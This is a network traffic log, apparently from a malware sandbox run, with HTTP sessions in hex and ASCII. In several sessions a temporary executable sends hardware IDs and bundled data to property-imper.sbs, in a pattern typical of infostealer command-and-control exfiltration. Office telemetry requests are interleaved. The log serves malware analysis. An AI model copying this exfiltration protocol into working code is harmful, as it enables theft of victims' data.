2024-11-23 17:22:40 UTC	1369	IN	Data Raw: 71 2f 63 78 58 63 57 6c 6d 6b 4e 46 42 74 55 62 42 51 79 4e 4b 4e 75 78 62 65 77 57 61 32 50 45 4e 4f 35 32 72 4b 57 66 76 71 6a 73 33 30 38 6b 6e 50 76 58 58 67 4a 67 71 32 73 61 42 70 78 70 38 37 46 70 2f 56 41 6d 4e 64 38 7a 69 41 69 6f 6f 6f 4b 32 71 65 79 68 50 30 57 53 71 34 49 52 49 46 4f 59 57 51 55 47 7a 67 72 66 6f 6e 4c 78 46 79 67 37 68 33 2b 51 45 4d 6d 70 6d 4b 75 72 35 4f 59 39 41 6f 7a 73 6d 68 39 46 55 4e 55 45 53 77 43 47 4f 39 69 39 65 4c 49 57 5a 6e 75 48 62 4a 35 52 79 62 37 53 34 2f 57 6c 6f 57 4e 46 7a 71 75 64 58 77 68 66 6c 6c 49 49 45 35 34 74 31 71 52 38 75 53 35 57 55 4d 70 2b 31 55 61 4f 6c 71 79 61 72 50 76 73 66 67 4c 55 79 39 31 48 42 6d 43 72 61 78 6f 47 6e 47 6e 7a 73 57 6e 39 55 43 59 31 33 7a 4f 49 43 4b 69 69 67 72 61 Data Ascii: q/cxXcWlmkNFBtUbBQyNKNuxbewWa2PENO52rKWfvqjs308knPvXXgJgq2saBpxp87Fp/VAmNd8ziAioooK2qeyhP0WSq4IRIFOYWQUGzgrfonLxFyg7h3+QEMmpmKur5OY9Aozsmh9FUNUESwCGO9i9eLIWZnuHbJ5Ryb7S4/WloWNFzqudXwhfllIIE54t1qR8uS5WUMp+1UaOlqyarPvsfgLUy91HBmCraxoGnGnzsWn9UCY13zOICKiigra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49841	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:40 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V7J1WNYUH7AX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: property-imper.sbs
2024-11-23 17:22:40 UTC	15331	OUT	Data Raw: 2d 2d 56 37 4a 31 57 4e 59 55 48 37 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 56 37 4a 31 57 4e 59 55 48 37 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 37 4a 31 57 4e 59 55 48 37 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 37 4a 31 57 4e 59 55 Data Ascii: --V7J1WNYUH7AXContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--V7J1WNYUH7AXContent-Disposition: form-data; name="pid"3--V7J1WNYUH7AXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--V7J1WNYU
2024-11-23 17:22:40 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-23 17:22:41 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=814ot5b8mvb78ddmie2muuutc4; expires=Wed, 19-Mar-2025 11:09:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aiNnTi6Q%2B68pIiJj6nWNX%2FeltIGi43Nq5If0ZL2%2FIp5sUKu2qhqwTsJ%2BG4V86g0qt9rtoJsjhhRh2BcHG2kNQiHiL5D68qU0wQyaIM%2FaIccplE%2BLfJM7%2Bpo1lzYn98FdxzhPF1Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7bb18de434f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1877&sent=14&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21365&delivery_rate=1313540&cwnd=221&unsent_bytes=0&cid=140dde932f92894c&ts=995&x=0"
2024-11-23 17:22:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:41 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:41 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172241Z-15b8b599d88vp97chC1TEB5pzw000000037g000000007ue1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:41 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172241Z-174c587ffdf9xbcchC1TEBxkz4000000030g00000000m2p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:41 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:41 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172241Z-178bfbc474bbbqrhhC1NYCvw7400000004v000000000grkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:41 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:41 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:42 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172242Z-178bfbc474bv7whqhC1NYC1fg400000004q000000000h3z2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:42 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:41 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:42 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: ccd0b474-201e-0096-421e-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172242Z-178bfbc474b9xljthC1NYCtw9400000004n000000000e0zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:42 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49848	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:42 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 17:22:42 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=E56F2C9EE69FFD48D7CBBD6DF28D3732
2024-11-23 17:22:42 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1idre2incbcrq18si2qmogd3e; expires=Wed, 19-Mar-2025 11:09:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7IJojw%2BkeRM1OSoIlhWVPQYCBZllHYj%2F9KM85YCEyoaGwIhg3zWSxRAgd0iw7SqM0tSp7wlVhfs4cjVsXLURTwHIFHH5J0SdfELFrHigmvUsFBdqs1uq6JpUp%2FbVY%2Ft2SSp2sqY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7c68a984246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1719&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1664766&cwnd=229&unsent_bytes=0&cid=145d98dfe59e26dc&ts=732&x=0"
2024-11-23 17:22:42 UTC	214	IN	Data Raw: 64 30 0d 0a 63 31 72 36 7a 79 2f 6b 64 43 4d 4f 62 52 33 79 45 66 33 2f 6b 68 6c 67 6a 71 65 4d 42 6a 2b 6d 4d 67 5a 6c 53 51 4b 52 67 71 45 6f 49 64 69 36 44 64 35 57 53 33 6f 5a 62 63 68 4e 30 71 4f 39 4b 46 69 37 69 62 34 33 43 6f 67 44 4e 31 5a 6e 4d 36 66 65 6a 68 77 38 6e 4a 4d 41 67 42 46 46 49 41 68 6c 6c 7a 50 52 33 66 52 74 51 72 53 58 6f 43 52 61 68 41 67 33 47 47 56 35 73 2f 65 44 53 58 69 53 75 31 75 55 54 6e 38 68 4d 54 4c 44 4b 63 6a 52 6f 43 68 56 6f 4a 61 39 4e 52 47 58 42 46 70 4b 4f 6e 62 30 34 38 77 76 64 59 69 75 51 59 41 62 54 69 41 49 5a 5a 63 7a 30 64 33 30 62 55 4b 30 6c 36 41 6b 57 6f 51 49 4e 68 67 55 0d 0a Data Ascii: d0c1r6zy/kdCMObR3yEf3/khlgjqeMBj+mMgZlSQKRgqEoIdi6Dd5WS3oZbchN0qO9KFi7ib43CogDN1ZnM6fejhw8nJMAgBFFIAhllzPR3fRtQrSXoCRahAg3GGV5s/eDSXiSu1uUTn8hMTLDKcjRoChVoJa9NRGXBFpKOnb048wvdYiuQYAbTiAIZZcz0d30bUK0l6AkWoQINhgU
2024-11-23 17:22:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49849	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:42 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 17:22:43 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=231012 Date: Sat, 23 Nov 2024 17:22:43 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:43 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172243Z-15b8b599d88tmlzshC1TEB4xpn000000031000000000kgpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:44 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49856	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:43 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=16M5G8DMUDXHL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: property-imper.sbs
2024-11-23 17:22:43 UTC	1258	OUT	Data Raw: 2d 2d 31 36 4d 35 47 38 44 4d 55 44 58 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 36 4d 35 47 38 44 4d 55 44 58 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 36 4d 35 47 38 44 4d 55 44 58 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 36 4d 35 47 Data Ascii: --16M5G8DMUDXHLContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--16M5G8DMUDXHLContent-Disposition: form-data; name="pid"1--16M5G8DMUDXHLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--16M5G
2024-11-23 17:22:44 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=43t0n4tpq283gckda5c9ggt5iu; expires=Wed, 19-Mar-2025 11:09:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jueBelpM9uwbwdTL2QBsAHFZ7EHYpW%2BxHUOjeUcx%2ByaC%2B37TBqz%2FKZDPWVEKiCRwM3cCnjzcaORUuamMS5pMpDDUOGiiMJFaUQnrqHD4ieUvrtxoCu9fklndZeGK637lqppUTto%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7d1aa84efa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28294&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2172&delivery_rate=1570736&cwnd=59&unsent_bytes=0&cid=e10ae14cc0fba53d&ts=865&x=0"
2024-11-23 17:22:44 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
